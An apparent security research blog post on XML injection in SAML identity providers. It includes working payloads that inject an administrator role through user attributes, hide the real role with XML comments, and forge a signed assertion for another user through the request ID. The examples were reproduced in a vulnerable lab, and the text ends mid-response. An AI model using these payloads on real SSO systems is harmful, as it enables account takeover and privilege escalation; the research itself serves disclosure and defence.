SAML XML Injection Adam Roberts Research, Vulnerability March 29, 2021 36 Minutes The Single Sign-On (SSO) approach to authentication controls and identity management was quickly adopted by both organizations and large online services for its convenience and added security. The benefits are clear; for end-users, it is far easier to authenticate to a single service and gain access to all required applications. And for administrators, credentials and privileges can be controlled in a single location. However, this convenience presents new opportunities for attackers. A single vulnerability in the SSO authentication flow could be catastrophic, exposing data stored in all services used by an organization. This blog post will describe a class of vulnerability detected in several SSO services assessed by NCC Group, specifically affecting Security Assertion Markup Language (SAML) implementations. The flaw could allow an attacker to modify SAML responses generated by an Identity Provider, and thereby gain unauthorized access to arbitrary user accounts, or to escalate privileges within an application. What is SAML? To begin, a brief overview of how the SAML authentication flow works has been provided below. Feel free to skip this section if you are already familiar with SAML and SSO in general. SAML is a standard that allows authentication and authorization data to be securely exchanged between different contexts. It is commonly used in web applications to offer SSO capabilities, and can be easily integrated with Active Directory, making it a popular choice for applications used within enterprise environments. The authentication process relies on a trust relationship between two parties – the Identity Provider (which authenticates end-users), and the Service Provider (which is the application end-users want to access). Under the most common authentication flow, when a user wants to access a service provider, they will be redirected to the identity provider with a SAML request message. The identity provider authenticates the user if they are not already logged in, and if this is successful, it redirects the user back to the service provider with a SAML response message (usually in the body of a POST request). The SAML response message will contain an assertion that identifies the user and describes a few conditions (the expiration time for the response and an audience restriction which states the service that the assertion is valid for). The service provider should validate the response, the assertion, and the conditions, and only provide the user with access to the application if the authentication was successful. To prevent tampering, one or both of the SAML response and assertion should include a cryptographic signature that the service provider can verify. The use of a signature will ensure that a malicious user cannot simply modify the user identifier in the assertion, as the signature will no longer be valid. A more in-depth summary of SAML can be found here on PingIdentity’s website. The Vulnerability XML injection is a well-documented vulnerability class, which commonly affected older web applications utilizing XML or SOAP services in the backend. The common case involved user input being directly included in XML messages sent to the backend server. If the user input was not appropriately validated or encoded, an attacker could inject additional XML, and thereby modify request parameters or invoke additional functionality. While still relevant in some applications, XML injection is not nearly as common in 2021, with developers moving to adopt services built on newer data formats such as JSON, YAML, and Protocol Buffers. In the context of a SAML identity provider, however, XML injection is a concern, as the SAML messages constructed during the authentication flow are XML-based, and contain data that is often sourced from untrusted locations. If this data is included within a SAML assertion or response message dangerously, it may be possible for an attacker to inject additional XML, and change the structure of the SAML message. Depending on the location of the injection and the configuration of the service provider, it may be possible to inject additional roles, modify the receiver of the assertion, or to inject an entirely new username in an attempt to compromise another user’s account. Crucially, it should be noted that the XML for SAML assertions and responses is always built before a cryptographic signature is applied. Therefore, the use of response signatures does not protect against this vulnerability. This type of vulnerability is most commonly seen in SAML identity providers that naively use string templates to build the SAML XML messages. User-controlled data may be inserted into the template string using a templating language, regex match/replace, or simple concatenation. Although, it is not exclusive to this scenario; even implementations which build the XML using appropriate libraries may fall victim to this vulnerability if the library is used incorrectly. During a number of security assessments of SAML identity providers, NCC Group has successfully leveraged XML injection vulnerabilities to modify signed assertions, and thereby gain unauthorized access to arbitrary user accounts. Affected Fields When constructing the SAML response and assertion, the identity provider is highly likely to include data that can be controlled by the user, either directly or indirectly. Obvious examples include the SAML NameID, which uniquely identifies the user (this may be a numeric identifier, a username, or an email address), and additional attributes when they are requested by the service provider, such as the user’s full name, phone number, or occupation. However, there are some less obvious fields that are, in most SAML implementations, sourced from the SAML request. A non-comprehensive list of fields in the SAML request that may be included in the SAML response/assertion has been provided below: The ID of the SAML request is typically included in the InResponseTo attribute of the SAML response. (Note: in identity providers observed by NCC Group, almost all implementations included the SAML request ID in the SAML response. This field is therefore considered the most reliable for probing for XML injection vulnerabilities). The Issuer field, which identifies the issuer of the SAML request, may be included in the Audience field in the SAML assertion. The IssueInstant, which states the time the SAML request was generated, may be included in the assertion conditions NotBefore attribute. The Destination field, which states the endpoint that receives the SAML request. This field may also be used in the Audience element of the assertion. Some implementations may even include data sourced from locations external to the basic SAML authentication flow. To provide an example, in one SAML identity provider, if a SAML request was received from an unauthenticated client, the server issued a redirect to the login page with a GET parameter that included the ID of the SAML request. When the user entered their credentials, the server used the GET parameter ID to look up service provider associated with the SAML request, and then built the SAML response with this ID in the InResponseTo attribute. By modifying the ID GET parameter in the login request, it was possible to inject additional XML into the SAML response. Identifying the Vulnerability This vulnerability can be identified using common XML injection probing payloads. The following examples were recreated in a local environment, based on implementations observed during NCC Group security assessments. First, to determine whether XML injection was possible, an intercepting proxy was used to modify the SAML request sent to the identity provider. The payload was inserted into the ID attribute (bolded below) of the request, and is designed to escape from the attribute value and inject an additional attribute value (ncctest); note that the quotes in the payload are XML encoded. This is to ensure that the request XML is still valid; when the value is read by the identity provider, many implementations will XML-decode these entities: <?xml version="1.0" encoding="UTF-8"?> <samlp:AuthnRequest AssertionConsumerServiceURL="http://127.0.0.1/simplesaml/module.php/saml/sp/saml2-acs.php/default-sp" Destination="http://adam.local:8080/SSOService" ID="_3af7aba034a5dc5ac8c5ddf28805fb832ec683bfffAAAA" ncctest="BBBB" IssueInstant="2021-02-08T22:39:58Z" ProtocolBinding="urn:oasis:names:tc:SAML:2.0:bindings:HTTP-POST" Version="2.0" xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion" xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol"> <saml:Issuer>http://127.0.0.1/simplesaml/module.php/saml/sp/metadata.php/default-sp</saml:Issuer> <samlp:NameIDPolicy AllowCreate="true" Format="urn:oasis:names:tc:SAML:2.0:nameid-format:transient"/> </samlp:AuthnRequest> When this was processed by the identity provider, the ID attribute was included directly within the SAML response template, in the InResponseTo attribute of the samlp:Response and saml:SubjectConfirmationData elements: <samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol" xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion" ID="_fa828226-5b49-4d14-ac7c-fb64e2263f34" Version="2.0" IssueInstant="2021-02-08T23:46:14.988Z" Destination="http://127.0.0.1/simplesaml/module.php/saml/sp/saml2-acs.php/default-sp" InResponseTo="_3af7aba034a5dc5ac8c5ddf28805fb832ec683bfffAAAA" ncctest="BBBB"> <saml:SubjectConfirmationData NotOnOrAfter="2021-02-08T23:51:14.988Z" Recipient="http://127.0.0.1/simplesaml/module.php/saml/sp/saml2-acs.php/default-sp" InResponseTo="_3af7aba034a5dc5ac8c5ddf28805fb832ec683bfffAAAA" ncctest="BBBB"/> If this test is successful, an attempt can be made to inject additional XML elements into the response. While being able to modify the attributes is interesting, it is not particularly useful; if additional XML can be injected, the attacker may be able to modify the SAML assertion, and ultimately gain unauthorized access to another user’s account. As a basic test, the following SAML request was used to inject an additional XML element (ncc-elem) into the response. As before, the quotes and angle brackets are XML encoded. Also note that the injected element includes another attribute – this is to ensure that the quotes in the template used by the identity provider are balanced, and that the response is valid XML: <?xml version="1.0" encoding="UTF-8"?> <samlp:AuthnRequest AssertionConsumerServiceURL="http://127.0.0.1/simplesaml/module.php/saml/sp/saml2-acs.php/default-sp" Destination="http://adam.local:8080/SSOService" ID="_3af7aba034a5dc5ac8c5ddf28805fb832ec683bfffAAAA" ncctest="BBBB"><ncc-elem attribute="aaaa" IssueInstant="2021-02-08T22:39:58Z" ProtocolBinding="urn:oasis:names:tc:SAML:2.0:bindings:HTTP-POST" Version="2.0" xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion" xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol"> <saml:Issuer>http://127.0.0.1/simplesaml/module.php/saml/sp/metadata.php/default-sp</saml:Issuer> <samlp:NameIDPolicy AllowCreate="true" Format="urn:oasis:names:tc:SAML:2.0:nameid-format:transient"/> </samlp:AuthnRequest> This request produced the following XML in the SAML response: <samlp:Response Destination="http://127.0.0.1/simplesaml/module.php/saml/sp/saml2-acs.php/default-sp" ID="_6788c1c3-03a0-452f-80d5-b0296ec1a097" IssueInstant="2021-02-08T23:57:49.488Z" Version="2.0" xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion" xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol" InResponseTo="_3af7aba034a5dc5ac8c5ddf28805fb832ec683bfffAAAA" ncctest="BBBB"> <ncc-elem attribute="aaaa"/> A similar process can be used for other injection points. If, for example, the identity provider includes the SAML request Issuer field within the Audience of the response, a payload such as the following could be used to inject additional elements. Note here that it is necessary to encode the angle brackets (< and >): <?xml version="1.0" encoding="UTF-8"?> <samlp:AuthnRequest AssertionConsumerServiceURL="http://127.0.0.1/simplesaml/module.php/saml/sp/saml2-acs.php/generic-saml-localhost" Destination="http://127.0.0.1:8080/samlp" ID="_0699a57c1e6ac6afc3c2d7ab8cc56dec61cb09b672" IssueInstant="2021-02-11T18:51:31Z" ProtocolBinding="urn:oasis:names:tc:SAML:2.0:bindings:HTTP-POST" Version="2.0" xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion" xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol"> <saml:Issuer>http://127.0.0.1/simplesaml/module.php/saml/sp/metadata.php/generic-saml-localhost/<ncc-test>test</ncc-test></saml:Issuer> <samlp:NameIDPolicy AllowCreate="true" Format="urn:oasis:names:tc:SAML:2.0:nameid-format:transient"/> </samlp:AuthnRequest> This request produced the following Audience element in the SAML assertion: <saml:AudienceRestriction> <saml:Audience>http://127.0.0.1/simplesaml/module.php/saml/sp/metadata.php/generic-saml-localhost/<ncc-test>test</ncc-test></saml:Audience> </saml:AudienceRestriction> For user attributes, the success of injecting XML characters into the SAML assertion will depend on how these attributes are updated and stored by the identity provider; if XSS defenses prevent users from storing characters such as angle brackets in their attributes, it may not be possible to perform the attack. In the following example, setting the user’s name to “Adam</saml:AttributeValue><ncc-test>aaaa</ncc-test><saml:AttributeValue>” produced the following Attribute element in the assertion. In this particular case, it was necessary to close the saml:AttributeValue element and create a new AttributeValue element to pass XML validation performed by the server: <saml:Attribute Name="http://schemas.xmlsoap.org/ws/2005/05/identity/claims/givenname" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:uri"> <saml:AttributeValue xsi:type="xs:string">Adam</saml:AttributeValue> <ncc-test>aaaa</ncc-test> <saml:AttributeValue/> </saml:Attribute> Exploiting the Vulnerability Identifying SAML XML injection vulnerabilities is fairly straightforward, but exploiting them is another story. Success will depend on a multitude of factors, including where the injection points occur, how tolerant of invalid XML the libraries used to sign and parse the SAML response are, and whether the service provider will trust the injected payload. In fact, in some cases where XML injection was possible on the identity provider, a number of service providers rejected or ignored the modified payload. Not because the signature was invalid, but because of repetition in the document. The nature of this vulnerability will mean that, in many cases, it is necessary to inject repeated elements or to construct entirely new assertions. Problems encountered as a consequence of this include: The service provider may select the original legitimate element (assertion or NameID) created by the identity provider, rather than the injected element. Many XML libraries will behave differently when selecting an element that is repeated in a document; typically, this will either be the first occurrence or the last occurrence. Some security conscious service providers may reject responses containing repeated elements altogether; there is generally no good reason for an assertion to contain two NameID elements, for example. The attack may also fail if the service provider includes defenses against XML Signature Wrapping (XSW)*. This is a well-documented SAML vulnerability, where an attacker modifies the structure of a SAML response in an attempt to trick the service provider into reading the user’s identity from an unsigned element (e.g. by adding a second unsigned assertion to a SAML response, before the legitimate signed assertion). Although an XML injection attack would mean that both assertions are included in the scope of the SAML response signature, simply the presence of a second assertion element can be enough for some service providers to reject the message. * For a good overview of XML Signature Wrapping attacks, see On Breaking SAML: Be Whoever You Want to Be Example Exploits In assessments performed by NCC Group, this vulnerability was most commonly exploitable in two scenarios; Attribute injections – where the injection occurs in a SAML attribute associated with the account in the Identity Provider. InResponseTo injections – where the injection affects the “InResponseTo” attribute of the SAML response. Example exploits for these two scenarios have been provided in the following section. As it would be impossible to demonstrate all possible XML injection attacks on SAML implementations in this blog post, hopefully these can provide some inspiration. The techniques outlined here can likely be adapted to exploit identity providers affected by this vulnerability in most configurations. Disclaimer: These examples were reproduced in a local environment specifically built to be vulnerable to this attack. Attribute Injections In addition to the NameID (which is the unique identifier for the user), SAML responses can include a set of user attributes that may be useful to the service provider. These are optional and there are no particular requirements; typically they are used to send data such as the user’s name, email address, and phone number. Some service providers also use the attributes to dictate the privileges that should be assigned to the user post-authentication, using a role attribute or similar. Therefore, if these attributes are not appropriately encoded, an attacker could inject or modify attributes to escalate their privileges or otherwise gain access to sensitive data in the service provider. As an example, if the SAML assertion contains an AttributeStatement such as the following. This includes two attributes; one for the user’s full name and another for the user’s role (viewer): <saml:AttributeStatement xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"> <saml:Attribute Name="name" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:basic"> <saml:AttributeValue xsi:type="xs:string">Adam Roberts</saml:AttributeValue> </saml:Attribute> <saml:Attribute Name="role" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:basic"> <saml:AttributeValue xsi:type="xs:string">viewer</saml:AttributeValue> </saml:Attribute> </saml:AttributeStatement> The attacker could change their name in the identity provider to the following value: Adam Roberts</saml:AttributeValue></saml:Attribute><saml:Attribute Name="role" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:basic"><saml:AttributeValue xsi:type="xs:string">administrator If the identity provider includes this value in the name attribute without appropriate validation, the following AttributeStatement will be sent to the service provider. This may allow the attacker to authenticate to the application under the context of an “administrator”, rather than a “viewer”: <saml:AttributeStatement xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"> <saml:Attribute Name="name" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:basic"> <saml:AttributeValue xsi:type="xs:string">Adam Roberts</saml:AttributeValue> </saml:Attribute> <saml:Attribute Name="role" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:basic"> <saml:AttributeValue xsi:type="xs:string">administrator</saml:AttributeValue> </saml:Attribute> <saml:Attribute Name="role" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:basic"> <saml:AttributeValue xsi:type="xs:string">viewer</saml:AttributeValue> </saml:Attribute> </saml:AttributeStatement> Note that the “role” Attribute element is repeated, and it is therefore possible that the attack may fail if the service provider reads the second role attribute value, or if a validator rejects the assertion. If the attacker controls two attributes (e.g. the name and an email address), it may be possible to use XML comments to effectively delete the role attribute generated by the identity provider. Take the following AttributeStatement as an example. This includes the user’s email address, the role, and a name attribute: <saml:AttributeStatement xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"> <saml:Attribute Name="email" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:basic"> <saml:AttributeValue xsi:type="xs:string">user@example.com</saml:AttributeValue> </saml:Attribute> <saml:Attribute Name="role" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:basic"> <saml:AttributeValue xsi:type="xs:string">viewer</saml:AttributeValue> </saml:Attribute> <saml:Attribute Name="name" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:basic"> <saml:AttributeValue xsi:type="xs:string">Adam Roberts</saml:AttributeValue> </saml:Attribute> </saml:AttributeStatement> The role attribute is included between the email and name attributes. An attacker could set their email address and name to the following values: email: user@example.com</saml:AttributeValue></saml:Attribute><saml:Attribute Name="role" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:basic"><saml:AttributeValue xsi:type="xs:string">administrator</saml:AttributeValue></saml:Attribute><!-- name: --><saml:Attribute Name="name" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:basic"><saml:AttributeValue xsi:type="xs:string">Adam Roberts When the AttributeStatement element is built by the identity provider, the following XML will be produced, where the “viewer” role attribute is enclosed within an XML comment: <saml:AttributeStatement xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"> <saml:Attribute Name="email" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:basic"> <saml:AttributeValue xsi:type="xs:string">user@example.com</saml:AttributeValue> </saml:Attribute> <saml:Attribute Name="role" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:basic"> <saml:AttributeValue xsi:type="xs:string">administrator</saml:AttributeValue> </saml:Attribute> <!--</saml:AttributeValue></saml:Attribute><saml:Attribute Name="role" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:basic"><saml:AttributeValue xsi:type="xs:string">viewer</saml:AttributeValue></saml:Attribute><saml:Attribute Name="name" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:basic"><saml:AttributeValue xsi:type="xs:string">--> <saml:Attribute Name="name" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:basic"> <saml:AttributeValue xsi:type="xs:string">Adam Roberts</saml:AttributeValue> </saml:Attribute> </saml:AttributeStatement> When parsed by the service provider, the user will be authenticated to the application under the context of an administrator. Comments can be a useful tool when exploiting XML injections in SAML messages. When done correctly, it is often possible to control large parts of the SAML response or assertion, meaning it can be particularly effective in subverting restrictions imposed by strict service providers. It is worth noting that most XML signature schemes used by SAML implementations canonicalize XML documents prior to calculating a signature, and as part of this process comments are removed from the document. In other words, comments in a SAML response are not considered when the signature is calculated, and can therefore be removed entirely before submission to the service provider. If it is possible to inject XML into two locations within a SAML response, the opportunities for exploitation are much greater through the use of XML comments. InResponseTo and Assertion Injections Injections which affect the InResponseTo attribute occur when the SAML request ID is included dangerously within the response. As mentioned previously, the vast majority of SAML identity providers reflect the value of the SAML request ID in the response, and this is therefore considered a very reliable attribute to probe for injections. Exploiting this type of injection, however, can be extremely difficult. The primary reason is that the the value is included in the SAML response in two locations; the first is within the InResponseTo attribute of the Response element, and the second is within the InResponseTo attribute of the SubjectConfirmationData element, in the assertion. Below is an example of a SAML response generated by an identity provider (hosted on a local server) affected by this vulnerability. The InResponseTo attribute contains the value “_6c4ac3bd08f45c9f34a9230c39ef7e12ede0531e46”, which was set by the service provider in the SAML request: <?xml version="1.0" encoding="UTF-8"?> <samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol" xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion" ID="_bb9456e6-ffbe-4117-94ca-1800923389b4" Version="2.0" IssueInstant="2021-02-12T00:18:22.727Z" Destination="http://sp.adam.local/simplesaml/module.php/saml/sp/saml2-acs.php/saml1" InResponseTo="_6c4ac3bd08f45c9f34a9230c39ef7e12ede0531e46"> <saml:Issuer>http://idp.adam.local:8080</saml:Issuer> <ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#"> <ds:SignedInfo> <ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/> <ds:SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256"/> <ds:Reference URI="#_bb9456e6-ffbe-4117-94ca-1800923389b4"> <ds:Transforms> <ds:Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature"/> <ds:Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/> </ds:Transforms> <ds:DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256"/> <ds:DigestValue>gj6oIvcJnXaTBtVRwyNVGaIwwEaCuO0jZizyG/Z94aU=</ds:DigestValue> </ds:Reference> </ds:SignedInfo> <ds:SignatureValue>ueEVB+Xt+kiZZ/g8+9LpO6IWevTatj0NnYLYUwcluqEGlYWMyXef5uQpWf89BO/j294jnIA9KifnqwvhZZr5Ma5e1UQ5/C5d3lTkSA8MTi3DZ8AuHmEtvnC83ivD9IJizcyr0KbwcHtJVzisvvYDwo/f5xq3IrFtqA18tL/mMVA=</ds:SignatureValue> <ds:KeyInfo> <ds:X509Data> <ds:X509Certificate>MIICsDCCAhmgAwIBAgIUdbiKONoAtbg996PB63hRqTx/r3kwDQYJKoZIhvcNAQELBQAwajELMAkGA1UEBhMCVVMxCzAJBgNVBAgMAkNBMRIwEAYDVQQHDAlTdW5ueXZhbGUxEjAQBgNVBAoMCU5DQyBHcm91cDESMBAGA1UECwwJU0FNTCBUZXN0MRIwEAYDVQQDDAlsb2NhbGhvc3QwHhcNMjEwMjA4MTgwNTM1WhcNMjIwMjA4MTgwNTM1WjBqMQswCQYDVQQGEwJVUzELMAkGA1UECAwCQ0ExEjAQBgNVBAcMCVN1bm55dmFsZTESMBAGA1UECgwJTkNDIEdyb3VwMRIwEAYDVQQLDAlTQU1MIFRlc3QxEjAQBgNVBAMMCWxvY2FsaG9zdDCBnzANBgkqhkiG9w0BAQEFAAOBjQAwgYkCgYEAzcBpN/M96rsY/eVadDGiWsxPtfh2gjx8MXbxitVeCn9/hxp5cMiNY3RLWP6G1unn/jmY5xgs2IOXnWnLCgOTztJ7xY7e55El3GUB2F+f92BsmymNbkmmjW3TS61R7DOmU5Z2c2kigxahhoV2CuZAP4qiJpWI77jK8MU2hnKyBaMCAwEAAaNTMFEwHQYDVR0OBBYEFG4sdyzqVsCQHO8YaigkbVmQE9RdMB8GA1UdIwQYMBaAFG4sdyzqVsCQHO8YaigkbVmQE9RdMA8GA1UdEwEB/wQFMAMBAf8wDQYJKoZIhvcNAQELBQADgYEANF254aZkRGRTtjMLa7/8E6aFhtYCUU86YtRrrBFhslsooPMvwKnKelCdsE5Hp6V50WK2aTVBVI/biZGKCyUDRGZ0d5/dhsMl9SyN87CLwnSpkjcHC/b+I/nc3lrgoUSLPnjq8JUeCG2jkC54eWXMa6Ls2uFTEbUoI+BwJHFAH08=</ds:X509Certificate> </ds:X509Data> </ds:KeyInfo> </ds:Signature> <samlp:Status> <samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/> </samlp:Status> <saml:Assertion xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion" ID="_fa80f7dc-12d1-490c-b19f-c99773167f4b" Version="2.0" IssueInstant="2021-02-12T00:18:22.727Z"> <saml:Issuer>http://idp.adam.local:8080</saml:Issuer> <saml:Subject> <saml:NameID Format="urn:oasis:names:tc:SAML:1.1:nameid-format:emailAddress">user@example.org</saml:NameID> <saml:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer"><saml:SubjectConfirmationData NotOnOrAfter="2021-02-12T00:23:22.727Z" Recipient="http://sp.adam.local/simplesaml/module.php/saml/sp/saml2-acs.php/saml1" InResponseTo="_6c4ac3bd08f45c9f34a9230c39ef7e12ede0531e46"/> </saml:SubjectConfirmation> </saml:Subject> <saml:Conditions NotBefore="2021-02-12T00:18:22.727Z" NotOnOrAfter="2021-02-12T00:23:22.727Z"> <saml:AudienceRestriction> <saml:Audience>http://sp.adam.local/</saml:Audience> </saml:AudienceRestriction> </saml:Conditions> <saml:AuthnStatement AuthnInstant="2021-02-12T00:18:22.727Z"> <saml:AuthnContext> <saml:AuthnContextClassRef>urn:oasis:names:tc:SAML:2.0:ac:classes:Password</saml:AuthnContextClassRef> </saml:AuthnContext> </saml:AuthnStatement> </saml:Assertion> </samlp:Response> The goal for most attackers here would be to inject a new assertion that includes a different NameID, and thereby gain access to another user’s account on the service provider. The following payload (decoded and formatted for readability), when included in the ID of the SAML request sent to the identity provider, achieves this. _6c4ac3bd08f45c9f34a9230c39ef7e12ede0531e46"> <saml:Issuer>http://idp.adam.local:8080</saml:Issuer> <samlp:Status> <samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/> </samlp:Status> <saml:Assertion ID="_d0a71402-b0c1-453e-93bf-a3a43c50398b" IssueInstant="2021-02-11T22:45:54.579Z" Version="2.0" xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion" xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"> <saml:Issuer>http://idp.adam.local:8080</saml:Issuer> <saml:Subject> <saml:NameID Format="urn:oasis:names:tc:SAML:1.1:nameid-format:emailAddress">admin@example.org</saml:NameID> <saml:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer"> <saml:SubjectConfirmationData InResponseTo="_6c4ac3bd08f45c9f34a9230c39ef7e12ede0531e46" NotOnOrAfter="2021-02-11T23:50:54.579Z" Recipient="http://sp.adam.local/simplesaml/module.php/saml/sp/saml2-acs.php/saml1"/> </saml:SubjectConfirmation> </saml:Subject> <saml:Conditions NotBefore="2021-02-11T22:45:54.579Z" NotOnOrAfter="2021-02-11T23:50:54.579Z"> <saml:AudienceRestriction> <saml:Audience>http://sp.adam.local/</saml:Audience> </saml:AudienceRestriction> </saml:Conditions> <saml:AuthnStatement AuthnInstant="2021-02-11T22:45:54.579Z"> <saml:AuthnContext> <saml:AuthnContextClassRef>urn:oasis:names:tc:SAML:2.0:ac:classes:Password</saml:AuthnContextClassRef> </saml:AuthnContext> </saml:AuthnStatement> </saml:Assertion> <elem test=" There are a few elements to this payload, explained below: First, “> is used to escape from the InResponseTo attribute and into the XML context. In the injected XML, copies of the Issuer and Status elements included in other responses observed from the identity provider are included. Then, an entirely new assertion is created, with a NameID which specifies the email address “admin@example.org”. This assertion was built using assertions taken from legitimate responses generated by the server; the NameID field was modified, along with the NotOnOrAfter attributes (to specify a time in the future) and the InResponseTo attribute, to include the ID of the SAML request. Replacing these values ensure that the service provider will not reject the assertion, as it will expect an assertion that is not expired, and that was generated for the SAML request it previously issued. Finally, an unrelated element “elem” is opened at the end, with an attribute. This is designed to fix dangling markup left by the Response and SubjectConfirmationData elements created by the identity provider, where the injection points occur. Note, however, that this step is considered optional, and its necessity will depend on how tolerant the XML parser is. Some parsers will reject the XML document if the dangling markup is not part of an element, while others will simply treat the dangling markup as an additional text node. If the server rejects the payload without this element, try including it in another SAML request. The following SAML request contains this payload, encoded for transport: <samlp:AuthnRequest xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol" xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion" ID="_6c4ac3bd08f45c9f34a9230c39ef7e12ede0531e46"><saml:Issuer>http://idp.adam.local:8080</saml:Issuer><samlp:Status><samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/></samlp:Status><saml:Assertion ID="_d0a71402-b0c1-453e-93bf-a3a43c50398b" IssueInstant="2021-02-11T22:45:54.579Z" Version="2.0" xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion" xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"><saml:Issuer>http://idp.adam.local:8080</saml:Issuer><saml:Subject><saml:NameID Format="urn:oasis:names:tc:SAML:1.1:nameid-format:emailAddress">admin@example.org</saml:NameID><saml:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer"><saml:SubjectConfirmationData InResponseTo="_6c4ac3bd08f45c9f34a9230c39ef7e12ede0531e46" NotOnOrAfter="2021-02-11T23:50:54.579Z" Recipient="http://sp.adam.local/simplesaml/module.php/saml/sp/saml2-acs.php/saml1"/></saml:SubjectConfirmation></saml:Subject><saml:Conditions NotBefore="2021-02-11T22:45:54.579Z" NotOnOrAfter="2021-02-11T23:50:54.579Z"><saml:AudienceRestriction><saml:Audience>http://sp.adam.local/</saml:Audience></saml:AudienceRestriction></saml:Conditions><saml:AuthnStatement AuthnInstant="2021-02-11T22:45:54.579Z"><saml:AuthnContext><saml:AuthnContextClassRef>urn:oasis:names:tc:SAML:2.0:ac:classes:Password</saml:AuthnContextClassRef></saml:AuthnContext></saml:AuthnStatement></saml:Assertion><elem test="" Version="2.0" IssueInstant="2021-02-11T23:45:28Z" Destination="http://idp.adam.local:8080/SSOService" AssertionConsumerServiceURL="http://sp.adam.local/simplesaml/module.php/saml/sp/saml2-acs.php/saml1" ProtocolBinding="urn:oasis:names:tc:SAML:2.0:bindings:HTTP-POST"><saml:Issuer>http://sp.adam.local/</saml:Issuer><samlp:NameIDPolicy Format="urn:oasis:names:tc:SAML:2.0:nameid-format:transient" AllowCreate="true"/></samlp:AuthnRequest> When this was received by the identity provider, the following SAML response was produced. The injected XML has been highlighted in bold, although note that the XML was adjusted when the identity provider inserted the XML signature: <samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol" xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion" ID="_b804b8b3-1ced-4e16-9ef3-03b82338729b" Version="2.0" IssueInstant="2021-02-11T23:45:49.796Z" Destination="http://sp.adam.local/simplesaml/module.php/saml/sp/saml2-acs.php/saml1" InResponseTo="_6c4ac3bd08f45c9f34a9230c39ef7e12ede0531e46"> <saml:Issuer>http://idp.adam.local:8080</saml:Issuer> <ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#"> <ds:SignedInfo> <ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/> <ds:SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256"/> <ds:Reference URI="#_b804b8b3-1ced-4e16-9ef3-03b82338729b"> <ds:Transforms> <ds:Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature"/> <ds:Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/></ds:Transforms> <ds:DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256"/> <ds:DigestValue>oE/7pnmcvbFYVsIPC4tao56UR/yAkpv3VL/VBXZXrXk=</ds:DigestValue> </ds:Reference> </ds:SignedInfo> <ds:SignatureValue>mA6oPZaOUMXxlFRQG5LzoVpmV4VB5K4iIQJ2sseqgYLXhrszbvJ85v7Qud6Fp8xKqC4nVIUZw73eHR2d4nakLKd0lPAqk7gTVC+1V1M3lpMkMCriqM5BNcR/lKpln3SnEzgUPAtbOgmsvKSmhME7fXIY9BUW0Kv/8FcCEdUGg70=</ds:SignatureValue> <ds:KeyInfo> <ds:X509Data> 